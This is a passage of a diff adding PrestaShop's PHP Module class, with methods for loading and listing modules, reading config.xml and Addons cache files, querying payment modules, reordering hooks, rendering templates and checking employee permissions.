+ die(Tools::displayError($module_name.' is not a valid module name.')); + return false; + } + + if (!isset(self::$_INSTANCE[$module_name])) + { + if (Tools::file_exists_cache(_PS_MODULE_DIR_.$module_name.'/'.$module_name.'.php')) + { + include_once(_PS_MODULE_DIR_.$module_name.'/'.$module_name.'.php'); + + if (class_exists($module_name, false)) + return self::$_INSTANCE[$module_name] = new $module_name; + } + return false; + } + return self::$_INSTANCE[$module_name]; + } + + /** + * Return an instance of the specified module + * + * @param integer $id_module Module ID + * @return Module instance + */ + public static function getInstanceById($id_module) + { + static $id2name = null; + + if (is_null($id2name)) + { + $id2name = array(); + $sql = 'SELECT `id_module`, `name` FROM `'._DB_PREFIX_.'module`'; + if ($results = Db::getInstance()->executeS($sql)) + foreach ($results as $row) + $id2name[$row['id_module']] = $row['name']; + } + + if (isset($id2name[$id_module])) + return Module::getInstanceByName($id2name[$id_module]); + + return false; + } + + public static function configXmlStringFormat($string) + { + return str_replace('\'', '\\\'', Tools::htmlentitiesDecodeUTF8($string)); + } + + + public static function getModuleName($module) + { + // Config file + $configFile = _PS_MODULE_DIR_.$module.'/config.xml'; + if (!file_exists($configFile)) + return 'Module '.ucfirst($module); + + // Load config.xml + libxml_use_internal_errors(true); + $xml_module = simplexml_load_file($configFile); + foreach (libxml_get_errors() as $error) + { + libxml_clear_errors(); + return 'Module '.ucfirst($module); + } + libxml_clear_errors(); + + // Find translations + global $_MODULES; + $file = _PS_MODULE_DIR_.$module.'/'.Context::getContext()->language->iso_code.'.php'; + if (Tools::file_exists_cache($file) && include_once($file)) + if (isset($_MODULE) && is_array($_MODULE)) + $_MODULES = !empty($_MODULES) ? array_merge($_MODULES, $_MODULE) : $_MODULE; + + // Return Name + return Translate::getModuleTranslation((string)$xml_module->name, Module::configXmlStringFormat($xml_module->displayName), (string)$xml_module->name); + } + + + /** + * Return available modules + * + * @param boolean $useConfig in order to use config.xml file in module dir + * @return array Modules + */ + public static function getModulesOnDisk($useConfig = false, $loggedOnAddons = false, $id_employee = false) + { + global $_MODULES; + + // Init var + $module_list = array(); + $module_name_list = array(); + $modulesNameToCursor = array(); + $errors = array(); + + // Get modules directory list and memory limit + $modules_dir = Module::getModulesDirOnDisk(); + $memory_limit = Tools::getMemoryLimit(); + + $modules_installed = array(); + $result = Db::getInstance()->executeS(' + SELECT name, version, interest + FROM `'._DB_PREFIX_.'module` + LEFT JOIN `'._DB_PREFIX_.'module_preference` ON (`module` = `name` AND `id_employee` = '.(int)$id_employee.')'); + foreach ($result as $row) + $modules_installed[$row['name']] = $row; + + foreach ($modules_dir as $module) + { + // Memory usage checking + if (function_exists('memory_get_usage') && $memory_limit != '-1') + { + $current_memory = memory_get_usage(true); + // memory_threshold in MB + $memory_threshold = (Tools::isX86_64arch() ? 3 : 1.5); + if (($memory_limit - $current_memory) <= ($memory_threshold * 1024 * 1024)) + { + $errors[] = Tools::displayError('All modules cannot be loaded due to memory limit restrictions, please increase your memory_limit value on your server configuration'); + break; + } + } + + // Check if config.xml module file exists and if it's not outdated + $configFile = _PS_MODULE_DIR_.$module.'/config.xml'; + $xml_exist = file_exists($configFile); + if ($xml_exist) + $needNewConfigFile = (filemtime($configFile) < filemtime(_PS_MODULE_DIR_.$module.'/'.$module.'.php')); + else + $needNewConfigFile = true; + + // If config.xml exists and that the use config flag is at true + if ($useConfig && $xml_exist) + { + // Load config.xml + libxml_use_internal_errors(true); + $xml_module = simplexml_load_file($configFile); + foreach (libxml_get_errors() as $error) + $errors[] = '['.$module.'] '.Tools::displayError('Error found in config file:').' '.htmlentities($error->message); + libxml_clear_errors(); + + // If no errors in Xml, no need instand and no need new config.xml file, we load only translations + if (!count($errors) && (int)$xml_module->need_instance == 0 && !$needNewConfigFile) + { + $file = _PS_MODULE_DIR_.$module.'/'.Context::getContext()->language->iso_code.'.php'; + if (Tools::file_exists_cache($file) && include_once($file)) + if (isset($_MODULE) && is_array($_MODULE)) + $_MODULES = !empty($_MODULES) ? array_merge($_MODULES, $_MODULE) : $_MODULE; + + $item = new stdClass(); + $item->id = 0; + $item->warning = ''; + foreach ($xml_module as $k => $v) + $item->$k = (string)$v; + $item->displayName = stripslashes(Translate::getModuleTranslation((string)$xml_module->name, Module::configXmlStringFormat($xml_module->displayName), (string)$xml_module->name)); + $item->description = stripslashes(Translate::getModuleTranslation((string)$xml_module->name, Module::configXmlStringFormat($xml_module->description), (string)$xml_module->name)); + $item->author = stripslashes(Translate::getModuleTranslation((string)$xml_module->name, Module::configXmlStringFormat($xml_module->author), (string)$xml_module->name)); + + if (isset($xml_module->confirmUninstall)) + $item->confirmUninstall = Translate::getModuleTranslation((string)$xml_module->name, Module::configXmlStringFormat($xml_module->confirmUninstall), (string)$xml_module->name); + + $item->active = 0; + $item->onclick_option = false; + + $module_list[] = $item; + $module_name_list[] = '\''.pSQL($item->name).'\''; + $modulesNameToCursor[strval($item->name)] = $item; + } + } + + // If use config flag is at false or config.xml does not exist OR need instance OR need a new config.xml file + if (!$useConfig || !$xml_exist || (isset($xml_module->need_instance) && (int)$xml_module->need_instance == 1) || $needNewConfigFile) + { + // If class does not exists, we include the file + if (!class_exists($module, false)) + { + // Get content from php file + $filepath = _PS_MODULE_DIR_.$module.'/'.$module.'.php'; + $file = trim(file_get_contents(_PS_MODULE_DIR_.$module.'/'.$module.'.php')); + if (substr($file, 0, 5) == '<?php') + $file = substr($file, 5); + if (substr($file, -2) == '?>') + $file = substr($file, 0, -2); + + // If (false) is a trick to not load the class with "eval". + // This way require_once will works correctly + if (eval('if (false){ '.$file.' }') !== false) + require_once( _PS_MODULE_DIR_.$module.'/'.$module.'.php' ); + else + $errors[] = sprintf(Tools::displayError('%1$s (parse error in %2$s)'), $module, substr($filepath, strlen(_PS_ROOT_DIR_))); + } + + // If class exists, we just instanciate it + if (class_exists($module, false)) + { + $tmp_module = new $module; + + $item = new stdClass(); + $item->id = $tmp_module->id; + $item->warning = $tmp_module->warning; + $item->name = $tmp_module->name; + $item->version = $tmp_module->version; + $item->tab = $tmp_module->tab; + $item->displayName = $tmp_module->displayName; + $item->description = stripslashes($tmp_module->description); + $item->author = $tmp_module->author; + $item->limited_countries = $tmp_module->limited_countries; + $item->parent_class = get_parent_class($module); + $item->is_configurable = $tmp_module->is_configurable = method_exists($tmp_module, 'getContent') ? 1 : 0; + $item->need_instance = isset($tmp_module->need_instance) ? $tmp_module->need_instance : 0; + $item->active = $tmp_module->active; + $item->currencies = isset($tmp_module->currencies) ? $tmp_module->currencies : null; + $item->currencies_mode = isset($tmp_module->currencies_mode) ? $tmp_module->currencies_mode : null; + $item->confirmUninstall = isset($tmp_module->confirmUninstall) ? $tmp_module->confirmUninstall : null; + + $item->onclick_option = method_exists($module, 'onclickOption') ? true : false; + if ($item->onclick_option) + { + $href = Context::getContext()->link->getAdminLink('Module', true).'&module_name='.$tmp_module->name.'&tab_module='.$tmp_module->tab; + $item->onclick_option_content = array(); + $option_tab = array('desactive', 'reset', 'configure', 'delete'); + foreach ($option_tab as $opt) + $item->onclick_option_content[$opt] = $tmp_module->onclickOption($opt, $href); + } + + + $module_list[] = $item; + if (!$xml_exist || $needNewConfigFile) + { + self::$_generate_config_xml_mode = true; + $tmp_module->_generateConfigXml(); + self::$_generate_config_xml_mode = false; + } + unset($tmp_module); + } + else + $errors[] = sprintf(Tools::displayError('%1$s (class missing in %2$s)'), $module, substr($filepath, strlen(_PS_ROOT_DIR_))); + } + } + + // Get modules information from database + if (!empty($module_name_list)) + { + $list = Shop::getContextListShopID(); + + $sql = 'SELECT m.id_module, m.name, ( + SELECT COUNT(*) FROM '._DB_PREFIX_.'module_shop ms WHERE m.id_module = ms.id_module AND ms.id_shop IN ('.implode(',', $list).') + ) as total + FROM '._DB_PREFIX_.'module m + WHERE m.name IN ('.implode(',', $module_name_list).')'; + $results = Db::getInstance()->executeS($sql); + foreach ($results as $result) + { + $moduleCursor = $modulesNameToCursor[$result['name']]; + $moduleCursor->id = $result['id_module']; + $moduleCursor->active = ($result['total'] == count($list)) ? 1 : 0; + } + } + + // Get Default Country Modules and customer module + $files_list = array( + array('type' => 'addonsNative', 'file' => _PS_ROOT_DIR_.self::CACHE_FILE_DEFAULT_COUNTRY_MODULES_LIST, 'loggedOnAddons' => 0), + array('type' => 'addonsBought', 'file' => _PS_ROOT_DIR_.self::CACHE_FILE_CUSTOMER_MODULES_LIST, 'loggedOnAddons' => 1), + array('type' => 'addonsMustHave', 'file' => _PS_ROOT_DIR_.self::CACHE_FILE_MUST_HAVE_MODULES_LIST, 'loggedOnAddons' => 0), + ); + foreach ($files_list as $f) + if (file_exists($f['file']) && ($f['loggedOnAddons'] == 0 || $loggedOnAddons)) + { + $file = $f['file']; + $content = Tools::file_get_contents($file); + $xml = @simplexml_load_string($content, null, LIBXML_NOCDATA); + if ($xml && isset($xml->module)) + foreach ($xml->module as $modaddons) + { + $flag_found = 0; + foreach ($module_list as $k => $m) + if ($m->name == $modaddons->name && !isset($m->available_on_addons)) + { + $flag_found = 1; + if ($m->version != $modaddons->version && version_compare($m->version, $modaddons->version) === -1) + $module_list[$k]->version_addons = $modaddons->version; + } + if ($flag_found == 0) + { + $item = new stdClass(); + $item->id = 0; + $item->warning = ''; + $item->type = strip_tags((string)$f['type']); + $item->name = strip_tags((string)$modaddons->name); + $item->version = strip_tags((string)$modaddons->version); + $item->tab = strip_tags((string)$modaddons->tab); + $item->displayName = strip_tags((string)$modaddons->displayName).' (Addons)'; + $item->description = stripslashes(strip_tags((string)$modaddons->description)); + $item->author = strip_tags((string)$modaddons->author); + $item->limited_countries = array(); + $item->parent_class = ''; + $item->onclick_option = false; + $item->is_configurable = 0; + $item->need_instance = 0; + $item->not_on_disk = 1; + $item->available_on_addons = 1; + $item->active = 0; + if (isset($modaddons->img)) + { + if (!file_exists(_PS_TMP_IMG_DIR_.md5($modaddons->name).'.jpg')) + if (!file_put_contents(_PS_TMP_IMG_DIR_.md5($modaddons->name).'.jpg', Tools::file_get_contents($modaddons->img))) + copy(_PS_IMG_DIR_.'404.gif', _PS_TMP_IMG_DIR_.md5($modaddons->name).'.jpg'); + if (file_exists(_PS_TMP_IMG_DIR_.md5($modaddons->name).'.jpg')) + $item->image = '../img/tmp/'.md5($modaddons->name).'.jpg'; + } + if ($item->type == 'addonsMustHave') + { + $item->addons_buy_url = strip_tags((string)$modaddons->url); + $prices = (array)$modaddons->price; + $id_default_currency = Configuration::get('PS_CURRENCY_DEFAULT'); + foreach ($prices as $currency => $price) + if ($id_currency = Currency::getIdByIsoCode($currency)) + { + $item->price = (float)$price; + $item->id_currency = (int)$id_currency; + if ($id_default_currency == $id_currency) + break; + } + } + $module_list[] = $item; + } + } + } + + foreach ($module_list as &$module) + if (isset($modules_installed[$module->name])) + { + $module->installed = true; + $module->database_version = $modules_installed[$module->name]['version']; + $module->interest = $modules_installed[$module->name]['interest']; + } + else + { + $module->installed = false; + $module->database_version = 0; + $module->interest = 0; + } + + usort($module_list, create_function('$a,$b', ' + if ($a->displayName == $b->displayName) + return 0; + return ($a->displayName < $b->displayName) ? -1 : 1; + ')); + + if ($errors) + { + echo '<div class="alert error"><h3>'.Tools::displayError('The following module(s) could not be loaded').':</h3><ol>'; + foreach ($errors as $error) + echo '<li>'.$error.'</li>'; + echo '</ol></div>'; + } + + return $module_list; + } + + /** + * Return modules directory list + * + * @return array Modules Directory List + */ + public static function getModulesDirOnDisk() + { + $module_list = array(); + $modules = scandir(_PS_MODULE_DIR_); + foreach ($modules as $name) + { + if (is_dir(_PS_MODULE_DIR_.$name) && Tools::file_exists_cache(_PS_MODULE_DIR_.$name.'/'.$name.'.php')) + { + if (!Validate::isModuleName($name)) + throw new PrestaShopException(sprintf('Module %s is not a valid module name', $name)); + $module_list[] = $name; + } + } + return $module_list; + } + + + /** + * Return non native module + * + * @param int $position Take only positionnables modules + * @return array Modules + */ + public static function getNonNativeModuleList() + { + $db = Db::getInstance(); + + $module_list_xml = _PS_ROOT_DIR_.self::CACHE_FILE_MODULES_LIST; + $native_modules = simplexml_load_file($module_list_xml); + $native_modules = $native_modules->modules; + foreach ($native_modules as $native_modules_type) + if (in_array($native_modules_type['type'], array('native', 'partner'))) + { + $arr_native_modules[] = '""'; + foreach ($native_modules_type->module as $module) + $arr_native_modules[] = '"'.pSQL($module['name']).'"'; + } + + return $db->executeS('SELECT * FROM `'._DB_PREFIX_.'module` m WHERE `name` NOT IN ('.implode(',', $arr_native_modules).') '); + } + + /** + * Return installed modules + * + * @param int $position Take only positionnables modules + * @return array Modules + */ + public static function getModulesInstalled($position = 0) + { + $sql = 'SELECT m.* FROM `'._DB_PREFIX_.'module` m '; + if ($position) + $sql .= 'LEFT JOIN `'._DB_PREFIX_.'hook_module` hm ON m.`id_module` = hm.`id_module` + LEFT JOIN `'._DB_PREFIX_.'hook` k ON hm.`id_hook` = k.`id_hook` + WHERE k.`position` = 1 + GROUP BY m.id_module'; + return Db::getInstance()->executeS($sql); + } + + /** + * Execute modules for specified hook + * + * @param string $hook_name Hook Name + * @param array $hookArgs Parameters for the functions + * @return string modules output + */ + public static function hookExec($hook_name, $hookArgs = array(), $id_module = null) + { + Tools::displayAsDeprecated(); + return Hook::exec($hook_name, $hookArgs, $id_module); + } + + public static function hookExecPayment() + { + Tools::displayAsDeprecated(); + return Hook::exec('displayPayment'); + } + + public static function preCall($module_name) + { + return true; + } + + public static function getPaypalIgnore() + { + return ''; + + $iso_code = Country::getIsoById((int)Configuration::get('PS_COUNTRY_DEFAULT')); + $paypal_countries = array('ES', 'FR', 'PL', 'IT'); + if (Context::getContext()->getMobileDevice() && Context::getContext()->shop->getTheme() == 'default' && in_array($iso_code, $paypal_countries)) + return 'm.`name` = \'paypal\''; + } + + /** + * Returns the list of the payment module associated to the current customer + * @see PaymentModule::getInstalledPaymentModules() if you don't care about the context + * + * @return array module informations + */ + public static function getPaymentModules() + { + $context = Context::getContext(); + if (isset($context->cart)) + $billing = new Address((int)$context->cart->id_address_invoice); + + $frontend = true; + $groups = array(); + if (isset($context->employee)) + $frontend = false; + elseif (isset($context->customer)) + { + $groups = $context->customer->getGroups(); + if (empty($groups)) + $groups = array(Configuration::get('PS_UNIDENTIFIED_GROUP')); + } + + $hookPayment = 'Payment'; + if (Db::getInstance()->getValue('SELECT `id_hook` FROM `'._DB_PREFIX_.'hook` WHERE `name` = \'displayPayment\'')) + $hookPayment = 'displayPayment'; + + $list = Shop::getContextListShopID(); + if ($paypal_condition = Module::getPaypalIgnore()) + $paypal_condition = ' AND '.$paypal_condition; + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS('SELECT DISTINCT m.`id_module`, h.`id_hook`, m.`name`, hm.`position` + FROM `'._DB_PREFIX_.'module` m + '.($frontend ? 'LEFT JOIN `'._DB_PREFIX_.'module_country` mc ON (m.`id_module` = mc.`id_module` AND mc.id_shop = '.(int)$context->shop->id.')' : '').' + '.($frontend ? 'INNER JOIN `'._DB_PREFIX_.'module_group` mg ON (m.`id_module` = mg.`id_module` AND mg.id_shop = '.(int)$context->shop->id.')' : '').' + '.($frontend && isset($context->customer) ? 'INNER JOIN `'._DB_PREFIX_.'customer_group` cg on (cg.`id_group` = mg.`id_group`AND cg.`id_customer` = '.(int)$context->customer->id.')' : '').' + LEFT JOIN `'._DB_PREFIX_.'hook_module` hm ON hm.`id_module` = m.`id_module` + LEFT JOIN `'._DB_PREFIX_.'hook` h ON hm.`id_hook` = h.`id_hook` + WHERE h.`name` = \''.pSQL($hookPayment).'\' + '.(isset($billing) && $frontend ? 'AND mc.id_country = '.(int)$billing->id_country : '').' + AND (SELECT COUNT(*) FROM '._DB_PREFIX_.'module_shop ms WHERE ms.id_module = m.id_module AND ms.id_shop IN('.implode(', ', $list).')) = '.count($list).' + AND hm.id_shop IN('.implode(', ', $list).') + '.(count($groups) && $frontend ? 'AND (mg.`id_group` IN('.implode(', ', $groups).'))' : '').$paypal_condition.' + GROUP BY hm.id_hook, hm.id_module + ORDER BY hm.`position`, m.`name` DESC'); + } + + /** + * @deprecated 1.5.0 Use Translate::getModuleTranslation() + */ + public static function findTranslation($name, $string, $source) + { + return Translate::getModuleTranslation($name, $string, $source); + } + + /** + * Get translation for a given module text + * + * Note: $specific parameter is mandatory for library files. + * Otherwise, translation key will not match for Module library + * when module is loaded with eval() Module::getModulesOnDisk() + * + * @param string $string String to translate + * @param boolean|string $specific filename to use in translation key + * @return string Translation + */ + public function l($string, $specific = false) + { + if (self::$_generate_config_xml_mode) + return $string; + + return Translate::getModuleTranslation($this, $string, ($specific) ? $specific : $this->name); + } + + /* + * Reposition module + * + * @param boolean $id_hook Hook ID + * @param boolean $way Up (1) or Down (0) + * @param int $position + */ + public function updatePosition($id_hook, $way, $position = null) + { + foreach (Shop::getContextListShopID() as $shop_id) + { + $sql = 'SELECT hm.`id_module`, hm.`position`, hm.`id_hook` + FROM `'._DB_PREFIX_.'hook_module` hm + WHERE hm.`id_hook` = '.(int)$id_hook.' AND hm.`id_shop` = '.$shop_id.' + ORDER BY hm.`position` '.($way ? 'ASC' : 'DESC'); + if (!$res = Db::getInstance()->executeS($sql)) + continue; + + foreach ($res as $key => $values) + if ((int)$values[$this->identifier] == (int)$this->id) + { + $k = $key; + break; + } + if (!isset($k) || !isset($res[$k]) || !isset($res[$k + 1])) + return false; + + $from = $res[$k]; + $to = $res[$k + 1]; + + if (isset($position) && !empty($position)) + $to['position'] = (int)$position; + + $sql = 'UPDATE `'._DB_PREFIX_.'hook_module` + SET `position`= position '.($way ? '-1' : '+1').' + WHERE position between '.(int)(min(array($from['position'], $to['position']))).' AND '.max(array($from['position'], $to['position'])).' + AND `id_hook` = '.(int)$from['id_hook'].' AND `id_shop` = '.$shop_id; + if (!Db::getInstance()->execute($sql)) + return false; + + $sql = 'UPDATE `'._DB_PREFIX_.'hook_module` + SET `position`='.(int)$to['position'].' + WHERE `'.pSQL($this->identifier).'` = '.(int)$from[$this->identifier].' + AND `id_hook` = '.(int)$to['id_hook'].' AND `id_shop` = '.$shop_id; + if (!Db::getInstance()->execute($sql)) + return false; + } + return true; + } + + /* + * Reorder modules position + * + * @param boolean $id_hook Hook ID + * @param array $shop_list List of shop + */ + public function cleanPositions($id_hook, $shop_list = null) + { + $sql = 'SELECT `id_module`, `id_shop` + FROM `'._DB_PREFIX_.'hook_module` + WHERE `id_hook` = '.(int)$id_hook.' + '.((!is_null($shop_list) && $shop_list) ? ' AND `id_shop` IN('.implode(', ', $shop_list).')' : '').' + ORDER BY `position`'; + $results = Db::getInstance()->executeS($sql); + $position = array(); + foreach ($results as $row) + { + if (!isset($position[$row['id_shop']])) + $position[$row['id_shop']] = 1; + + $sql = 'UPDATE `'._DB_PREFIX_.'hook_module` + SET `position` = '.$position[$row['id_shop']].' + WHERE `id_hook` = '.(int)$id_hook.' + AND `id_module` = '.$row['id_module'].' AND `id_shop` = '.$row['id_shop']; + Db::getInstance()->execute($sql); + $position[$row['id_shop']]++; + } + + return true; + } + + public function displayError($error) + { + $output = ' + <div class="module_error alert error"> + '.$error.' + </div>'; + $this->error = true; + return $output; + } + + public function displayConfirmation($string) + { + $output = ' + <div class="module_confirmation conf confirm"> + '.$string.' + </div>'; + return $output; + } + + /* + * Return exceptions for module in hook + * + * @param int $id_hook Hook ID + * @return array Exceptions + */ + protected static $exceptionsCache = null; + public function getExceptions($hookID, $dispatch = false) + { + if (self::$exceptionsCache === null) + { + self::$exceptionsCache = array(); + $sql = 'SELECT * FROM `'._DB_PREFIX_.'hook_module_exceptions` + WHERE `id_shop` IN ('.implode(', ', Shop::getContextListShopID()).')'; + $result = Db::getInstance()->executeS($sql); + foreach ($result as $row) + { + if (!$row['file_name']) + continue; + $key = $row['id_hook'].'-'.$row['id_module']; + if (!isset(self::$exceptionsCache[$key])) + self::$exceptionsCache[$key] = array(); + if (!isset(self::$exceptionsCache[$key][$row['id_shop']])) + self::$exceptionsCache[$key][$row['id_shop']] = array(); + self::$exceptionsCache[$key][$row['id_shop']][] = $row['file_name']; + } + } + + $key = $hookID.'-'.$this->id; + if (!$dispatch) + { + $files = array(); + foreach (Shop::getContextListShopID() as $shop_id) + if (isset(self::$exceptionsCache[$key], self::$exceptionsCache[$key][$shop_id])) + foreach (self::$exceptionsCache[$key][$shop_id] as $file) + if (!in_array($file, $files)) + $files[] = $file; + return $files; + } + else + { + $list = array(); + foreach (Shop::getContextListShopID() as $shop_id) + if (isset(self::$exceptionsCache[$key], self::$exceptionsCache[$key][$shop_id])) + $list[$shop_id] = self::$exceptionsCache[$key][$shop_id]; + return $list; + } + } + + public static function isInstalled($module_name) + { + if (!Cache::isStored('Module::isInstalled'.$module_name)) + { + $id_module = Db::getInstance()->getValue('SELECT `id_module` FROM `'._DB_PREFIX_.'module` WHERE `name` = \''.pSQL($module_name).'\''); + Cache::store('Module::isInstalled'.$module_name, (bool)$id_module); + } + return Cache::retrieve('Module::isInstalled'.$module_name); + } + + public static function isEnabled($module_name) + { + if (!Cache::isStored('Module::isEnabled'.$module_name)) + { + $active = false; + $id_module = Db::getInstance()->getValue('SELECT `id_module` FROM `'._DB_PREFIX_.'module` WHERE `name` = \''.pSQL($module_name).'\''); + if (Db::getInstance()->getValue('SELECT `id_module` FROM `'._DB_PREFIX_.'module_shop` WHERE `id_module` = '.(int)$id_module.' AND `id_shop` = '.(int)Context::getContext()->shop->id)) + $active = true; + Cache::store('Module::isEnabled'.$module_name, (bool)$active); + } + return Cache::retrieve('Module::isEnabled'.$module_name); + } + + public function isRegisteredInHook($hook) + { + if (!$this->id) + return false; + + $sql = 'SELECT COUNT(*) + FROM `'._DB_PREFIX_.'hook_module` hm + LEFT JOIN `'._DB_PREFIX_.'hook` h ON (h.`id_hook` = hm.`id_hook`) + WHERE h.`name` = \''.pSQL($hook).'\' AND hm.`id_module` = '.(int)$this->id; + return Db::getInstance()->getValue($sql); + } + + /* + ** Template management (display, overload, cache) + */ + protected static function _isTemplateOverloadedStatic($module_name, $template) + { + if (Tools::file_exists_cache(_PS_THEME_DIR_.'modules/'.$module_name.'/'.$template)) + return true; + elseif (Tools::file_exists_cache(_PS_MODULE_DIR_.$module_name.'/views/templates/hook/'.$template)) + return false; + elseif (Tools::file_exists_cache(_PS_MODULE_DIR_.$module_name.'/'.$template)) + return false; + return null; + } + + protected function _isTemplateOverloaded($template) + { + return Module::_isTemplateOverloadedStatic($this->name, $template); + } + + protected function getCacheId($name = null) + { + if ($name === null) + $name = $this->name; + return $name.'|'.(int)Tools::usingSecureMode().'|'.(int)$this->context->shop->id.'|'.(int)Group::getCurrent()->id.'|'.(int)$this->context->language->id; + } + + public function display($file, $template, $cacheId = null, $compileId = null) + { + if (($overloaded = Module::_isTemplateOverloadedStatic(basename($file, '.php'), $template)) === null) + return Tools::displayError('No template found for module').' '.basename($file, '.php'); + else + { + $this->smarty->assign(array( + 'module_dir' => __PS_BASE_URI__.'modules/'.basename($file, '.php').'/', + 'module_template_dir' => ($overloaded ? _THEME_DIR_ : __PS_BASE_URI__).'modules/'.basename($file, '.php').'/' + )); + + if ($cacheId !== null) + Tools::enableCache(); + + $smarty_subtemplate = $this->context->smarty->createTemplate( + $this->getTemplatePath($template), + $cacheId, + $compileId, + $this->smarty + ); + $result = $smarty_subtemplate->fetch(); + + if ($cacheId !== null) + Tools::restoreCacheSettings(); + + return $result; + } + } + + /** + * Get realpath of a template of current module (check if template is overriden too) + * + * @since 1.5.0 + * @param string $template + * @return string + */ + public function getTemplatePath($template) + { + $overloaded = $this->_isTemplateOverloaded($template); + if ($overloaded === null) + return null; + if ($overloaded) + return _PS_THEME_DIR_.'modules/'.$this->name.'/'.$template; + else if (file_exists(_PS_MODULE_DIR_.$this->name.'/views/templates/hook/'.$template)) + return _PS_MODULE_DIR_.$this->name.'/views/templates/hook/'.$template; + else + return _PS_MODULE_DIR_.$this->name.'/'.$template; + } + + protected function _getApplicableTemplateDir($template) + { + return $this->_isTemplateOverloaded($template) ? _PS_THEME_DIR_ : _PS_MODULE_DIR_.$this->name.'/'; + } + + public function isCached($template, $cacheId = null, $compileId = null) + { + $context = Context::getContext(); + + Tools::enableCache(); + $is_cached = $context->smarty->isCached($this->getTemplatePath($template), $cacheId, $compileId); + Tools::restoreCacheSettings(); + + return $is_cached; + } + + protected function _clearCache($template, $cache_id = null, $compile_id = null) + { + Tools::enableCache(); + Tools::clearCache(Context::getContext()->smarty, $this->getTemplatePath($template), $cache_id, $compile_id); + Tools::restoreCacheSettings(); + } + + protected function _generateConfigXml() + { + $xml = '<?xml version="1.0" encoding="UTF-8" ?> + <module> + <name>'.$this->name.'</name> + <displayName><![CDATA['.Tools::htmlentitiesUTF8($this->displayName).']]></displayName> + <version><![CDATA['.$this->version.']]></version> + <description><![CDATA['.Tools::htmlentitiesUTF8($this->description).']]></description> + <author><![CDATA['.Tools::htmlentitiesUTF8($this->author).']]></author> + <tab><![CDATA['.Tools::htmlentitiesUTF8($this->tab).']]></tab>'.(isset($this->confirmUninstall) ? "\n\t".'<confirmUninstall>'.$this->confirmUninstall.'</confirmUninstall>' : '').' + <is_configurable>'.(isset($this->is_configurable) ? (int)$this->is_configurable : 0).'</is_configurable> + <need_instance>'.(int)$this->need_instance.'</need_instance>'.(isset($this->limited_countries) ? "\n\t".'<limited_countries>'.(count($this->limited_countries) == 1 ? $this->limited_countries[0] : '').'</limited_countries>' : '').' + </module>'; + if (is_writable(_PS_MODULE_DIR_.$this->name.'/')) + file_put_contents(_PS_MODULE_DIR_.$this->name.'/config.xml', $xml); + } + + /** + * Check if the module is transplantable on the hook in parameter + * @param string $hook_name + * @return bool if module can be transplanted on hook + */ + public function isHookableOn($hook_name) + { + $retro_hook_name = Hook::getRetroHookName($hook_name); + return (is_callable(array($this, 'hook'.ucfirst($hook_name))) || is_callable(array($this, 'hook'.ucfirst($retro_hook_name)))); + } + + /** + * Check employee permission for module + * @param array $variable (action) + * @param object $employee + * @return bool if module can be transplanted on hook + */ + public function getPermission($variable, $employee = null) + { + return Module::getPermissionStatic($this->id, $variable, $employee); + } + + /** + * Check employee permission for module (static method) + * @param integer $id_module + * @param array $variable (action) + * @param object $employee + * @return bool if module can be transplanted on hook + */ + public static function getPermissionStatic($id_module, $variable, $employee = null) + { + if (!in_array($variable, array('view', 'configure'))) + return false; + if (!$employee) + $employee = Context::getContext()->employee; + + if ($employee->id_profile == _PS_ADMIN_PROFILE_) + return true; + + if (!isset(self::$cache_permissions[$employee->id_profile])) + { + self::$cache_permissions[$employee->id_profile] = array(); + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS('SELECT `id_module`, `view`, `configure` FROM `'._DB_PREFIX_.'module_access` WHERE `id_profile` = '.(int)$employee->id_profile); + foreach ($result as $row) + { + self::$cache_permissions[$employee->id_profile][$row['id_module']]['view'] = $row['view']; + self::$cache_permissions[$employee->id_profile][$row['id_module']]['configure'] = $row['configure']; + } + } + + if (!isset(self::$cache_permissions[$employee->id_profile][$id_module])) + throw new PrestaShopException('No access reference in table module_access for id_module '.$id_module.'.'); + + return (bool)self::$cache_permissions[$employee->id_profile][$id_module][$variable]; + } + + /** + * Get Unauthorized modules for a client group + * @param integer group_id + */ + public static function getAuthorizedModules($group_id) + { + return Db::getInstance()->executeS(' + SELECT m.`id_module`, m.`name` FROM `'._DB_PREFIX_.'module_group` mg + LEFT JOIN `'._DB_PREFIX_.'module` m ON (m.`id_module` = mg.`id_module`) + WHERE mg.`id_group` = '.(int)$group_id); + } + + /** + * Get id module by name + * @param string name + * @return integer id + */ + public static function getModuleIdByName($name) + { + return Db::getInstance()->getValue('SELECT `id_module` FROM `'._DB_PREFIX_.'module` WHERE `name` = "'.pSQL($name).'"'); + } + + /** + * Get module errors + * + * @since 1.5.0 + * @return array errors + */ + public function getErrors() + { + return $this->_errors; + } + + /** + * Get module messages confirmation + * + * @since 1.5.0 + * @return array conf + */ + public function getConfirmations() + { + return $this->_confirmations; + } + + /** + * Get local path for module + * + * @since 1.5.0 + * @return string + */ + public function getLocalPath() + { + return $this->local_path; + } + + /** + * Get uri path for module + * + * @since 1.5.0 + * @return string + */ + public function getPathUri() + { + return $this->_path; + } + + /* + * Return module position for a given hook + * + * @param boolean $id_hook Hook ID + * @return integer position + */ + public function getPosition($id_hook) + { + if (isset(Hook::$preloadModulesFromHooks)) + if (isset(Hook::$preloadModulesFromHooks[$id_hook])) + if (isset(Hook::$preloadModulesFromHooks[$id_hook]['module_position'][$this->id])) + return Hook::$preloadModulesFromHooks[$id_hook]['module_position'][$this->id]; + else + return 0; + $result = Db::getInstance()->getRow(' + SELECT `position` + FROM `'._DB_PREFIX_.'hook_module` + WHERE `id_hook` = '.(int)$id_hook.' + AND `id_module` = '.(int)$this->id.' + AND `id_shop` = '.(int)Context::getContext()->shop->id); + + return $result['position']; + } + + /** + * add a warning message to display at the top of the admin page + * + * @param string $msg + */ + public function adminDisplayWarning($msg) + { + if (!($this->context->controller instanceof AdminController)) + return false; + $this->context->controller->warnings[] = $msg; + } + + /** + * add a info message to display at the top of the admin page + * + * @param string $msg + */ + protected function adminDisplayInformation($msg) + { + if (!($this->context->controller instanceof AdminController)) + return false; + $this->context->controller->informations[] = $msg; + } + + /** + * Install overrides files for the module + * + * @return bool + */ + public function installOverrides() + { + if (!is_dir($this->getLocalPath().'override')) + return true; + + $result = true; + foreach (Tools::scandir($this->getLocalPath().'override', 'php', '', true) as $file) + { + $class = basename($file, '.php'); + if (Autoload::getInstance()->getClassPath($class.'Core')) + $result &= $this->addOverride($class); + } + + return $result; + } + + /** + * Uninstall overrides files for the module + * + * @return bool + */ + public function uninstallOverrides() + { + if (!is_dir($this->getLocalPath().'override')) + return true; + + $result = true; + foreach (Tools::scandir($this->getLocalPath().'override', 'php', '', true) 